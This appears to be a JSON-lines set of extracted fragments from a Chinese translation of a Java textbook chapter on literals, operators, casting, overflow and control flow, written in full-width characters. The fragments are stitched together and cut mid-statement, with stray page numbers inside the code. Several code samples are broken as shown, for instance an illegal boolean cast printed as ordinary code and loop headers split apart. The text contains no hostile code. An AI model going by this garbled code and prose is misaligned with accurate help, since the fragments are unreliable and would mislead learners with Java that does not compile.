    {"text": "／／： Ｌｉｔｅｒａｌｓ．ｊａｖａ ｃｌａｓｓ Ｌｉｔｅｒａｌｓ ｛ ｃｈａｒ ｃ ＝ ０ｘｆｆｆｆ； ／／ ｍａｘ ｃｈａｒ ｈｅｘ ｖａｌｕｅ ｂｙｔｅ ｂ ＝ ０ｘ７ｆ； ／／ ｍａｘ ｂｙｔｅ ｈｅｘ ｖａｌｕｅ ｓｈｏｒｔ ｓ ＝ ０ｘ７ｆｆｆ； ／／ ｍａｘ ｓｈｏｒｔ ｈｅｘ ｖａｌｕｅ ｉｎｔ ｉ１ ＝ ０ｘ２ｆ； ／／ Ｈｅｘａｄｅｃｉｍａｌ （ｌｏｗｅｒｃａｓｅ） ｉｎｔ ｉ２ ＝ ０Ｘ２Ｆ； ／／ Ｈｅｘａｄｅｃｉｍａｌ （ｕｐｐｅｒｃａｓｅ） ｉｎｔ ｉ３ ＝ ０１７７； ／／ Ｏｃｔａｌ （ｌｅａｄｉｎｇ ｚｅｒｏ） ／／ Ｈｅｘ ａｎｄ Ｏｃｔ ａｌｓｏ ｗｏｒｋ ｗｉｔｈ ｌｏｎｇ． ｌｏｎｇ ｎ１ ＝ ２００Ｌ； ／／ ｌｏｎｇ ｓｕｆｆｉｘ ｌｏｎｇ ｎ２ ＝ ２００ｌ； ／／ ｌｏｎｇ ｓｕｆｆｉｘ ｌｏｎｇ ｎ３ ＝ ２００；"},
    {"text": "／／ ｎｏｔ ａｌｌｏｗｅｄ ｆｌｏａｔ ｆ１ ＝ １； ｆｌｏａｔ ｆ２ ＝ １Ｆ； ／／ ｆｌｏａｔ ｓｕｆｆｉｘ ｆｌｏａｔ ｆ３ ＝ １ｆ； ／／ ｆｌｏａｔ ｓｕｆｆｉｘ ７３ ｆｌｏａｔ ｆ４ ＝ １ｅ－４５ｆ； ／／ １０ ｔｏ ｔｈｅ ｐｏｗｅｒ ｆｌｏａｔ ｆ５ ＝ １ｅ＋９ｆ； ／／ ｆｌｏａｔ ｓｕｆｆｉｘ ｄｏｕｂｌｅ ｄ１ ＝ １ｄ； ／／ ｄｏｕｂｌｅ ｓｕｆｆｉｘ ｄｏｕｂｌｅ ｄ２ ＝ １Ｄ； ／／ ｄｏｕｂｌｅ ｓｕｆｆｉｘ ｄｏｕｂｌｅ ｄ３ ＝ ４７ｅ４７ｄ；"},
    {"text": "所以倘若您习惯将 ｅ 作为自然对数的基数使用，那么在 Ｊａｖａ 中看到象“１．３９ｅ－４７ｆ”这样的表达式时，请转换您的思维，从程序设计的角度思考它；"},
    {"text": "／／１０ 的幂数 编译器通常会将指数作为双精度数（ｄｏｕｂｌｅ）处理，所以假如没有这个尾随的 ｆ，就会收到一条出错提示， 告诉我们须用一个“造型”将 ｄｏｕｂｌｅ 转换成 ｆｌｏａｔ。"},
    {"text": "２． 转型 大家会发现假若对主数据类型执行任何算术或按位运算，只要它们“比 ｉｎｔ 小”（即 ｃｈａｒ，ｂｙｔｅ 或者 ｓｈｏｒｔ），那么在正式执行运算之前，那些值会自动转换成 ｉｎｔ。"},
    {"text": "３ ． １ ． １ ４ Ｊ ａ ｖ ａ 没有“ｓ ｉ ｚ ｅ ｏ ｆ ” 在 Ｃ 和 Ｃ＋＋中，ｓｉｚｅｏｆ（）运算符能满足我们的一项特殊需要：获知为数据项目分配的字符数量。"},
    {"text": "一名学生推荐用一句话来帮助记忆： “Ｕｌｃｅｒ Ａｄｄｉｃｔｓ Ｒｅａｌｌｙ Ｌｉｋｅ Ｃ Ａ ｌｏｔ”，即“溃疡患者特别喜欢（维生素）Ｃ”。"},
    {"text": "助记词 运算符类型 运算符 Ｕｌｃｅｒ（溃疡） Ｕｎａｒｙ：一元 ＋ － ＋ ＋ － ［［ 其余的 ］］ Ａｄｄｉｃｔｓ（患者） Ａｒｉｔｈｍｅｔｉｃ（ｓｈｉｆｔ）；"},
    {"text": "算术（和移位） ＊ ／ ％ ＋ － ＜＜ ＞＞ Ｒｅａｌｌｙ（特别） Ｒｅｌａｔｉｏｎａｌ：关系 ＞ ＜ ＞＝ ＜＝ ＝＝ ！ ＝ Ｌｉｋｅ（喜欢） Ｌｏｇｉｃａｌ（ｂｉｔｗｉｓｅ）：逻辑（和按位） ＆＆ ｜｜ ＆ ｜ ＾ Ｃ Ｃｏｎｄｉｔｉｏｎａｌ（ｔｅｒｎａｒｙ）：条件（三元） Ａ＞Ｂ ？ Ｘ：Ｙ Ａ Ｌｏｔ Ａｓｓｉｇｎｍｅｎｔ：赋值 ＝（以及复合赋值，如＊＝） 当然，对于移位和按位运算符，上表并不是完美的助记方法；"},
    {"text": "／／： ＡｌｌＯｐｓ．ｊａｖａ ／／ Ｔｅｓｔｓ ａｌｌ ｔｈｅ ｏｐｅｒａｔｏｒｓ ｏｎ ａｌｌ ｔｈｅ ／／ ｐｒｉｍｉｔｉｖｅ ｄａｔａ ｔｙｐｅｓ ｔｏ ｓｈｏｗ ｗｈｉｃｈ ／／ ｏｎｅｓ ａｒｅ ａｃｃｅｐｔｅｄ ｂｙ ｔｈｅ Ｊａｖａ ｃｏｍｐｉｌｅｒ． ｃｌａｓｓ ＡｌｌＯｐｓ ｛ ／／ Ｔｏ ａｃｃｅｐｔ ｔｈｅ ｒｅｓｕｌｔｓ ｏｆ ａ ｂｏｏｌｅａｎ ｔｅｓｔ： ｖｏｉｄ ｆ（ｂｏｏｌｅａｎ ｂ） ｛｝ ｖｏｉｄ ｂｏｏｌＴｅｓｔ（ｂｏｏｌｅａｎ ｘ， ｂｏｏｌｅａｎ ｙ） ｛ ／／ Ａｒｉｔｈｍｅｔｉｃ ｏｐｅｒａｔｏｒｓ： ／／！"},
    {"text": "ｄｏｕｂｌｅ ｄ ＝ （ｄｏｕｂｌｅ）ｘ； ｝ ｖｏｉｄ ｃｈａｒＴｅｓｔ（ｃｈａｒ ｘ， ｃｈａｒ ｙ） ｛ ／／ Ａｒｉｔｈｍｅｔｉｃ ｏｐｅｒａｔｏｒｓ： ｘ ＝ （ｃｈａｒ）（ｘ ＊ ｙ）； ｘ ＝ （ｃｈａｒ）（ｘ ／ ｙ）； ｘ ＝ （ｃｈａｒ）（ｘ ％ ｙ）； ｘ ＝ （ｃｈａｒ）（ｘ ＋ ｙ）； ｘ ＝ （ｃｈａｒ）（ｘ － ｙ）； ｘ＋＋； ｘ－－； ｘ ＝ （ｃｈａｒ）＋ｙ； ｘ ＝ （ｃｈａｒ）－ｙ； ／／ Ｒｅｌａｔｉｏｎａｌ ａｎｄ ｌｏｇｉｃａｌ： ｆ（ｘ ＞ ｙ）； ｆ（ｘ ＞＝ ｙ）； ｆ（ｘ ＜ ｙ）； ｆ（ｘ ＜＝ ｙ）； ｆ（ｘ ＝＝ ｙ）； ｆ（ｘ ！ ＝ ｙ）；"},
    {"text": "ｆ（ｘ ｜｜ ｙ）； ／／ Ｂｉｔｗｉｓｅ ｏｐｅｒａｔｏｒｓ： ｘ＝ （ｃｈａｒ）￣ｙ； ｘ ＝ （ｃｈａｒ）（ｘ ＆ ｙ）； ｘ ＝ （ｃｈａｒ）（ｘ ｜ ｙ）； ｘ ＝ （ｃｈａｒ）（ｘ ＾ ｙ）； ｘ ＝ （ｃｈａｒ）（ｘ ＜＜ １）； ｘ ＝ （ｃｈａｒ）（ｘ ＞＞ １）； ｘ ＝ （ｃｈａｒ）（ｘ ＞＞＞ １）； ／／ Ｃｏｍｐｏｕｎｄ ａｓｓｉｇｎｍｅｎｔ： ｘ ＋＝ ｙ； ｘ －＝ ｙ； ｘ ＊＝ ｙ； ｘ ／＝ ｙ； ｘ ％＝ ｙ； ｘ ＜＜＝ １； ｘ ＞＞＝ １； ｘ ＞＞＞＝ １； ｘ ＆＝ ｙ； ｘ ＾＝ ｙ； ｘ ｜＝ ｙ；"},
    {"text": "ｂｏｏｌｅａｎ ｂ ＝ （ｂｏｏｌｅａｎ）ｘ； ｂｙｔｅ Ｂ ＝ （ｂｙｔｅ）ｘ； ｓｈｏｒｔ ｓ ＝ （ｓｈｏｒｔ）ｘ； ｉｎｔ ｉ ＝ （ｉｎｔ）ｘ； ｌｏｎｇ ｌ ＝ （ｌｏｎｇ）ｘ； ｆｌｏａｔ ｆ ＝ （ｆｌｏａｔ）ｘ； ｄｏｕｂｌｅ ｄ ＝ （ｄｏｕｂｌｅ）ｘ； ｝ ｖｏｉｄ ｂｙｔｅＴｅｓｔ（ｂｙｔｅ ｘ， ｂｙｔｅ ｙ） ｛ ／／ Ａｒｉｔｈｍｅｔｉｃ ｏｐｅｒａｔｏｒｓ： ｘ ＝ （ｂｙｔｅ）（ｘ＊ ｙ）； ｘ ＝ （ｂｙｔｅ）（ｘ ／ ｙ）； ｘ ＝ （ｂｙｔｅ）（ｘ ％ ｙ）； ｘ ＝ （ｂｙｔｅ）（ｘ ＋ ｙ）； ｘ ＝ （ｂｙｔｅ）（ｘ － ｙ）； ｘ＋＋； ｘ－－； ｘ ＝ （ｂｙｔｅ）＋ ｙ； ｘ ＝ （ｂｙｔｅ）－ ｙ； ／／ Ｒｅｌａｔｉｏｎａｌ ａｎｄ ｌｏｇｉｃａｌ： ｆ（ｘ ＞ ｙ）； ｆ（ｘ ＞＝ ｙ）； ｆ（ｘ ＜ ｙ）； ｆ（ｘ ＜＝ ｙ）； ｆ（ｘ ＝＝ ｙ）； ｆ（ｘ ！ ＝ ｙ）；"},
    {"text": "ｆ（ｘ ｜｜ ｙ）； ７７ ／／ Ｂｉｔｗｉｓｅ ｏｐｅｒａｔｏｒｓ： ｘ ＝ （ｂｙｔｅ）￣ｙ； ｘ ＝ （ｂｙｔｅ）（ｘ ＆ ｙ）； ｘ ＝ （ｂｙｔｅ）（ｘ ｜ ｙ）； ｘ ＝ （ｂｙｔｅ）（ｘ ＾ ｙ）； ｘ ＝ （ｂｙｔｅ）（ｘ ＜＜ １）； ｘ ＝ （ｂｙｔｅ）（ｘ ＞＞ １）； ｘ ＝ （ｂｙｔｅ）（ｘ ＞＞＞ １）； ／／ Ｃｏｍｐｏｕｎｄ ａｓｓｉｇｎｍｅｎｔ： ｘ ＋＝ ｙ； ｘ －＝ ｙ； ｘ ＊＝ ｙ； ｘ ／＝ ｙ； ｘ ％＝ ｙ； ｘ ＜＜＝ １； ｘ ＞＞＝ １； ｘ ＞＞＞＝ １； ｘ ＆＝ ｙ； ｘ ＾＝ ｙ； ｘ ｜＝ ｙ；"},
    {"text": "ｂｏｏｌｅａｎ ｂ ＝ （ｂｏｏｌｅａｎ）ｘ； ｃｈａｒ ｃ ＝ （ｃｈａｒ）ｘ； ｓｈｏｒｔ ｓ ＝ （ｓｈｏｒｔ）ｘ； ｉｎｔ ｉ ＝ （ｉｎｔ）ｘ； ｌｏｎｇ ｌ ＝ （ｌｏｎｇ）ｘ； ｆｌｏａｔ ｆ ＝ （ｆｌｏａｔ）ｘ； ｄｏｕｂｌｅ ｄ ＝ （ｄｏｕｂｌｅ）ｘ； ｝ ｖｏｉｄ ｓｈｏｒｔＴｅｓｔ（ｓｈｏｒｔ ｘ， ｓｈｏｒｔ ｙ） ｛ ／／ Ａｒｉｔｈｍｅｔｉｃ ｏｐｅｒａｔｏｒｓ： ｘ ＝ （ｓｈｏｒｔ）（ｘ ＊ ｙ）； ｘ ＝ （ｓｈｏｒｔ）（ｘ ／ ｙ）； ｘ ＝ （ｓｈｏｒｔ）（ｘ ％ ｙ）； ｘ ＝ （ｓｈｏｒｔ）（ｘ ＋ ｙ）； ｘ ＝ （ｓｈｏｒｔ）（ｘ － ｙ）； ｘ＋＋； ｘ－－； ｘ ＝ （ｓｈｏｒｔ）＋ｙ； ｘ ＝ （ｓｈｏｒｔ）－ｙ； ／／ Ｒｅｌａｔｉｏｎａｌ ａｎｄ ｌｏｇｉｃａｌ： ｆ（ｘ ＞ ｙ）； ｆ（ｘ ＞＝ ｙ）； ｆ（ｘ ＜ ｙ）； ｆ（ｘ ＜＝ ｙ）； ｆ（ｘ ＝＝ ｙ）； ｆ（ｘ ！ ＝ ｙ）；"},
    {"text": "ｆ（ｘ ｜｜ ｙ）； ／／ Ｂｉｔｗｉｓｅ ｏｐｅｒａｔｏｒｓ： ｘ ＝ （ｓｈｏｒｔ）￣ｙ； ７８ ｘ ＝ （ｓｈｏｒｔ）（ｘ ＆ ｙ）； ｘ ＝ （ｓｈｏｒｔ）（ｘ ｜ ｙ）； ｘ ＝ （ｓｈｏｒｔ）（ｘ ＾ ｙ）； ｘ ＝ （ｓｈｏｒｔ）（ｘ ＜＜ １）； ｘ ＝ （ｓｈｏｒｔ）（ｘ ＞＞ １）； ｘ ＝ （ｓｈｏｒｔ）（ｘ ＞＞＞ １）； ／／ Ｃｏｍｐｏｕｎｄ ａｓｓｉｇｎｍｅｎｔ： ｘ ＋＝ ｙ； ｘ －＝ ｙ； ｘ ＊＝ ｙ； ｘ ／＝ ｙ； ｘ ％＝ ｙ； ｘ ＜＜＝ １； ｘ ＞＞＝ １； ｘ ＞＞＞＝ １； ｘ ＆＝ ｙ； ｘ ＾＝ ｙ； ｘ ｜＝ ｙ；"},
    {"text": "ｂｏｏｌｅａｎ ｂ ＝ （ｂｏｏｌｅａｎ）ｘ； ｃｈａｒ ｃ ＝ （ｃｈａｒ）ｘ； ｂｙｔｅ Ｂ ＝ （ｂｙｔｅ）ｘ； ｉｎｔ ｉ ＝ （ｉｎｔ）ｘ； ｌｏｎｇ ｌ ＝ （ｌｏｎｇ）ｘ； ｆｌｏａｔ ｆ ＝ （ｆｌｏａｔ）ｘ； ｄｏｕｂｌｅ ｄ ＝ （ｄｏｕｂｌｅ）ｘ； ｝ ｖｏｉｄ ｉｎｔＴｅｓｔ（ｉｎｔ ｘ， ｉｎｔ ｙ） ｛ ／／ Ａｒｉｔｈｍｅｔｉｃ ｏｐｅｒａｔｏｒｓ： ｘ ＝ ｘ ＊ ｙ； ｘ ＝ ｘ ／ ｙ； ｘ ＝ ｘ ％ ｙ； ｘ ＝ ｘ ＋ ｙ； ｘ ＝ ｘ － ｙ； ｘ＋＋； ｘ－－； ｘ ＝ ＋ｙ； ｘ ＝ －ｙ； ／／ Ｒｅｌａｔｉｏｎａｌ ａｎｄ ｌｏｇｉｃａｌ： ｆ（ｘ ＞ ｙ）； ｆ（ｘ ＞＝ ｙ）； ｆ（ｘ ＜ ｙ）； ｆ（ｘ ＜＝ ｙ）； ｆ（ｘ ＝＝ ｙ）； ｆ（ｘ ！ ＝ ｙ）；"},
    {"text": "ｆ（ｘ ｜｜ ｙ）； ／／ Ｂｉｔｗｉｓｅ ｏｐｅｒａｔｏｒｓ： ｘ ＝ ￣ｙ； ｘ ＝ ｘ ＆ ｙ； ｘ ＝ ｘ ｜ ｙ； ７９ ｘ ＝ ｘ ＾ ｙ； ｘ ＝ ｘ ＜＜ １； ｘ ＝ ｘ ＞＞ １； ｘ ＝ ｘ ＞＞＞ １； ／／ Ｃｏｍｐｏｕｎｄ ａｓｓｉｇｎｍｅｎｔ： ｘ ＋＝ ｙ； ｘ －＝ ｙ； ｘ ＊＝ ｙ； ｘ ／＝ ｙ； ｘ ％＝ ｙ； ｘ ＜＜＝ １； ｘ ＞＞＝ １； ｘ ＞＞＞＝ １； ｘ ＆＝ ｙ； ｘ ＾＝ ｙ； ｘ ｜＝ ｙ；"},
    {"text": "ｂｏｏｌｅａｎ ｂ ＝ （ｂｏｏｌｅａｎ）ｘ； ｃｈａｒ ｃ ＝ （ｃｈａｒ）ｘ； ｂｙｔｅ Ｂ ＝ （ｂｙｔｅ）ｘ； ｓｈｏｒｔ ｓ ＝ （ｓｈｏｒｔ）ｘ； ｌｏｎｇ ｌ ＝ （ｌｏｎｇ）ｘ； ｆｌｏａｔ ｆ ＝ （ｆｌｏａｔ）ｘ； ｄｏｕｂｌｅ ｄ ＝ （ｄｏｕｂｌｅ）ｘ； ｝ ｖｏｉｄ ｌｏｎｇＴｅｓｔ（ｌｏｎｇ ｘ， ｌｏｎｇ ｙ） ｛ ／／ Ａｒｉｔｈｍｅｔｉｃ ｏｐｅｒａｔｏｒｓ： ｘ ＝ ｘ ＊ ｙ； ｘ ＝ ｘ ／ ｙ； ｘ ＝ ｘ ％ ｙ； ｘ ＝ ｘ ＋ ｙ； ｘ ＝ ｘ － ｙ； ｘ＋＋； ｘ－－； ｘ ＝ ＋ｙ； ｘ ＝ －ｙ； ／／ Ｒｅｌａｔｉｏｎａｌ ａｎｄ ｌｏｇｉｃａｌ： ｆ（ｘ ＞ ｙ）； ｆ（ｘ ＞＝ ｙ）； ｆ（ｘ ＜ ｙ）； ｆ（ｘ ＜＝ ｙ）； ｆ（ｘ ＝＝ ｙ）； ｆ（ｘ ！ ＝ ｙ）；"},
    {"text": "ｆ（ｘ ｜｜ ｙ）； ／／ Ｂｉｔｗｉｓｅ ｏｐｅｒａｔｏｒｓ： ｘ ＝ ￣ｙ； ｘ ＝ ｘ ＆ ｙ； ｘ ＝ ｘ ｜ ｙ； ｘ ＝ ｘ ＾ ｙ； ｘ ＝ ｘ ＜＜ １； ８０ ｘ ＝ ｘ ＞＞ １； ｘ ＝ ｘ ＞＞＞ １； ／／ Ｃｏｍｐｏｕｎｄ ａｓｓｉｇｎｍｅｎｔ： ｘ ＋＝ ｙ； ｘ －＝ ｙ； ｘ ＊＝ ｙ； ｘ ／＝ ｙ； ｘ ％＝ ｙ； ｘ ＜＜＝ １； ｘ ＞＞＝ １； ｘ ＞＞＞＝ １； ｘ ＆＝ ｙ； ｘ ＾＝ ｙ； ｘ ｜＝ ｙ；"},
    {"text": "ｂｏｏｌｅａｎ ｂ ＝ （ｂｏｏｌｅａｎ）ｘ； ｃｈａｒ ｃ ＝ （ｃｈａｒ）ｘ； ｂｙｔｅ Ｂ ＝ （ｂｙｔｅ）ｘ； ｓｈｏｒｔ ｓ ＝ （ｓｈｏｒｔ）ｘ； ｉｎｔ ｉ ＝ （ｉｎｔ）ｘ； ｆｌｏａｔ ｆ ＝ （ｆｌｏａｔ）ｘ； ｄｏｕｂｌｅ ｄ ＝ （ｄｏｕｂｌｅ）ｘ； ｝ ｖｏｉｄ ｆｌｏａｔＴｅｓｔ（ｆｌｏａｔ ｘ， ｆｌｏａｔ ｙ） ｛ ／／ Ａｒｉｔｈｍｅｔｉｃ ｏｐｅｒａｔｏｒｓ： ｘ ＝ ｘ ＊ ｙ； ｘ ＝ ｘ ／ ｙ； ｘ ＝ ｘ ％ ｙ； ｘ ＝ ｘ ＋ ｙ； ｘ ＝ ｘ － ｙ； ｘ＋＋； ｘ－－； ｘ ＝ ＋ｙ； ｘ ＝ －ｙ； ／／ Ｒｅｌａｔｉｏｎａｌ ａｎｄ ｌｏｇｉｃａｌ： ｆ（ｘ ＞ ｙ）； ｆ（ｘ ＞＝ ｙ）； ｆ（ｘ ＜ ｙ）； ｆ（ｘ ＜＝ ｙ）； ｆ（ｘ ＝＝ ｙ）； ｆ（ｘ ！ ＝ ｙ）；"},
    {"text": "ｂｏｏｌｅａｎ ｂ ＝ （ｂｏｏｌｅａｎ）ｘ； ｃｈａｒ ｃ ＝ （ｃｈａｒ）ｘ； ｂｙｔｅ Ｂ ＝ （ｂｙｔｅ）ｘ； ｓｈｏｒｔ ｓ ＝ （ｓｈｏｒｔ）ｘ； ｉｎｔ ｉ ＝ （ｉｎｔ）ｘ； ｌｏｎｇ ｌ ＝ （ｌｏｎｇ）ｘ； ｄｏｕｂｌｅ ｄ ＝ （ｄｏｕｂｌｅ）ｘ； ｝ ｖｏｉｄ ｄｏｕｂｌｅＴｅｓｔ（ｄｏｕｂｌｅ ｘ， ｄｏｕｂｌｅ ｙ） ｛ ／／ Ａｒｉｔｈｍｅｔｉｃ ｏｐｅｒａｔｏｒｓ： ｘ ＝ ｘ ＊ ｙ； ｘ ＝ ｘ ／ ｙ； ｘ ＝ ｘ ％ ｙ； ｘ ＝ ｘ ＋ ｙ； ｘ ＝ ｘ － ｙ； ｘ＋＋； ｘ－－； ｘ ＝ ＋ｙ； ｘ ＝ －ｙ； ／／ Ｒｅｌａｔｉｏｎａｌ ａｎｄ ｌｏｇｉｃａｌ： ｆ（ｘ ＞ ｙ）； ｆ（ｘ ＞＝ ｙ）； ｆ（ｘ ＜ ｙ）； ｆ（ｘ ＜＝ ｙ）； ｆ（ｘ ＝＝ ｙ）； ｆ（ｘ ！ ＝ ｙ）；"},
    {"text": "ｂｏｏｌｅａｎ ｂ ＝ （ｂｏｏｌｅａｎ）ｘ； ｃｈａｒ ｃ ＝ （ｃｈａｒ）ｘ； ｂｙｔｅ Ｂ ＝ （ｂｙｔｅ）ｘ； ｓｈｏｒｔ ｓ ＝ （ｓｈｏｒｔ）ｘ； ｉｎｔ ｉ ＝ （ｉｎｔ）ｘ； ｌｏｎｇ ｌ ＝ （ｌｏｎｇ）ｘ； ｆｌｏａｔ ｆ ＝ （ｆｌｏａｔ）ｘ；"},
    {"text": "Ｊａｖａ ｌｅｔｓ ｙｏｕ ｏｖｅｒｆｌｏｗ． ｐｕｂｌｉｃ ｃｌａｓｓ Ｏｖｅｒｆｌｏｗ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｉｎｔ ｂｉｇ ＝ ０ｘ７ｆｆｆｆｆｆｆ； ／／ ｍａｘ ｉｎｔ ｖａｌｕｅ ｐｒｔ（＂ｂｉｇ ＝ ＂ ＋ ｂｉｇ）； ｉｎｔ ｂｉｇｇｅｒ ＝ ｂｉｇ ＊ ４； ｐｒｔ（＂ｂｉｇｇｅｒ ＝ ＂ ＋ ｂｉｇｇｅｒ）； ｝ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｔ（Ｓｔｒｉｎｇ ｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）；"},
    {"text": "｝ ｝ ／／／：￣ 输出结果如下： ｂｉｇ ＝ ２１４７４８３６４７ ｂｉｇｇｅｒ ＝ －４ 而且不会从编译器那里收到出错提示，运行时也不会出现异常反应。"},
    {"text": "其中的 ｅｌｓｅ 是可选的，所以可按下述两种形式来使用 ｉｆ： ｉｆ（布尔表达式） 语句 或者 ｉｆ（布尔表达式） 语句 ｅｌｓｅ 语句 条件必须产生一个布尔结果。"},
    {"text": "“语句”要么是用分号结尾的一个简单语句，要么是一个复合语句——封闭在 括号内的一组简单语句。 在本书任何地方，只要提及“语句”这个词，就有可能包括简单或复合语句。"},
    {"text": "作为 ｉｆ－ｅｌｓｅ 的一个例子，下面这个 ｔｅｓｔ（）方法可告诉我们猜测的一个数字位于目标数字之上、之下还是相 等： ｓｔａｔｉｃ ｉｎｔ ｔｅｓｔ（ｉｎｔ ｔｅｓｔｖａｌ） ｛ ｉｎｔ ｒｅｓｕｌｔ ＝ ０；"},
    {"text": "ｉｆ（ｔｅｓｔｖａｌ ＞ ｔａｒｇｅｔ） ｒｅｓｕｌｔ ＝ －１； ｅｌｓｅ ｉｆ（ｔｅｓｔｖａｌ ＜ ｔａｒｇｅｔ） ｒｅｓｕｌｔ ＝ ＋１； ｅｌｓｅ ｒｅｓｕｌｔ ＝ ０； ／／ ｍａｔｃｈ ｒｅｔｕｒｎ ｒｅｓｕｌｔ；"},
    {"text": "可据此改写上面的 ｔｅｓｔ（）方法，使其利用这些特点： ８４ ｓｔａｔｉｃ ｉｎｔ ｔｅｓｔ２（ｉｎｔ ｔｅｓｔｖａｌ） ｛ ｉｆ（ｔｅｓｔｖａｌ ＞ ｔａｒｇｅｔ） ｒｅｔｕｒｎ －１；"},
    {"text": "下面这个简单的例子可产生随机数，直到符合特定的条件为止： ／／： ＷｈｉｌｅＴｅｓｔ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｅｓ ｔｈｅ ｗｈｉｌｅ ｌｏｏｐ ｐｕｂｌｉｃ ｃｌａｓｓ ＷｈｉｌｅＴｅｓｔ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｄｏｕｂｌｅ ｒ ＝ ０；"},
    {"text": "ｗｈｉｌｅ（ｒ ＜ ０．９９ｄ） ｛ ｒ ＝ Ｍａｔｈ．ｒａｎｄｏｍ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｒ）； ｝ ｝ ｝ ／／／：￣ 它用到了 Ｍａｔｈ 库里的 ｓｔａｔｉｃ（静态）方法 ｒａｎｄｏｍ（）。"},
    {"text": "３ ． ２ ． ４ ｄ ｏ － ｗ ｈ ｉ ｌ ｅ ｄｏ－ｗｈｉｌｅ 的格式如下： ｄｏ 语句 ｗｈｉｌｅ（布尔表达式） ｗｈｉｌｅ 和 ｄｏ－ｗｈｉｌｅ 唯一的区别就是 ｄｏ－ｗｈｉｌｅ 肯定会至少执行一次；"},
    {"text": "ｆｏｒ 循环通常用于执行“计数”任务： ／／： ＬｉｓｔＣｈａｒａｃｔｅｒｓ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｅｓ ＂ｆｏｒ＂ ｌｏｏｐ ｂｙ ｌｉｓｔｉｎｇ ／／ ａｌｌ ｔｈｅ ＡＳＣＩＩ ｃｈａｒａｃｔｅｒｓ． ｐｕｂｌｉｃ ｃｌａｓｓ ＬｉｓｔＣｈａｒａｃｔｅｒｓ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｆｏｒ（ ｃｈａｒ ｃ ＝ ０；"},
    {"text": "＝ ２６ ） ／／ ＡＮＳＩ Ｃｌｅａｒ ｓｃｒｅｅｎ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｖａｌｕｅ： ＂ ＋ （ｉｎｔ）ｃ ＋ ＂ ｃｈａｒａｃｔｅｒ： ＂ ＋ ｃ）；"},
    {"text": "｝ ｝ ／／／：￣ 注意变量 ｃ 是在需要用到它的时候定义的——在 ｆｏｒ 循环的控制表达式内部，而非在由起始花括号标记的代 码块的最开头。 ｃ 的作用域是由 ｆｏｒ 控制的表达式。"},
    {"text": "前面的例子已运用了这种能力，下面则是另一个 例子： ／／： ＣｏｍｍａＯｐｅｒａｔｏｒ．ｊａｖａ ｐｕｂｌｉｃ ｃｌａｓｓ ＣｏｍｍａＯｐｅｒａｔｏｒ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ １， ｊ ＝ ｉ ＋ １０；"},
    {"text": "ｉ＋＋， ｊ ＝ ｉ ＊ ２） ｛ ８６ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｉ＝ ＂ ＋ ｉ ＋ ＂ ｊ＝ ＂ ＋ ｊ）； ｝ ｝ ｝ ／／／：￣ 输出如下： ｉ＝ １ ｊ＝ １１ ｉ＝ ２ ｊ＝ ４ ｉ＝ ３ ｊ＝ ６ ｉ＝ ４ ｊ＝ ８ 大家可以看到，无论在初始化还是在步进部分，语句都是顺序执行的。"},
    {"text": "下面这个程序向大家展示了 ｂｒｅａｋ 和 ｃｏｎｔｉｎｕｅ 在 ｆｏｒ 和 ｗｈｉｌｅ 循环中的例子： ／／： ＢｒｅａｋＡｎｄＣｏｎｔｉｎｕｅ．ｊａｖａ ／／ Ｄｅｍｏｎｓｔｒａｔｅｓ ｂｒｅａｋ ａｎｄ ｃｏｎｔｉｎｕｅ ｋｅｙｗｏｒｄｓ ｐｕｂｌｉｃ ｃｌａｓｓ ＢｒｅａｋＡｎｄＣｏｎｔｉｎｕｅ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０；"},
    {"text": "ｉ ＜ １００； ｉ＋＋） ｛ ｉｆ（ｉ ＝＝ ７４） ｂｒｅａｋ； ／／ Ｏｕｔ ｏｆ ｆｏｒ ｌｏｏｐ ｉｆ（ｉ ％ ９ ！ ＝ ０） ｃｏｎｔｉｎｕｅ； ／／ Ｎｅｘｔ ｉｔｅｒａｔｉｏｎ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｉ）； ｝ ｉｎｔ ｉ ＝ ０； ／／ Ａｎ ＂ｉｎｆｉｎｉｔｅ ｌｏｏｐ＂： ｗｈｉｌｅ（ｔｒｕｅ） ｛ ｉ＋＋； ｉｎｔ ｊ ＝ ｉ ＊ ２７； ｉｆ（ｊ ＝＝ １２６９） ｂｒｅａｋ； ／／ Ｏｕｔ ｏｆ ｌｏｏｐ ｉｆ（ｉ ％ １０ ！ ＝ ０） ｃｏｎｔｉｎｕｅ； ／／ Ｔｏｐ ｏｆ ｌｏｏｐ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｉ）；"},
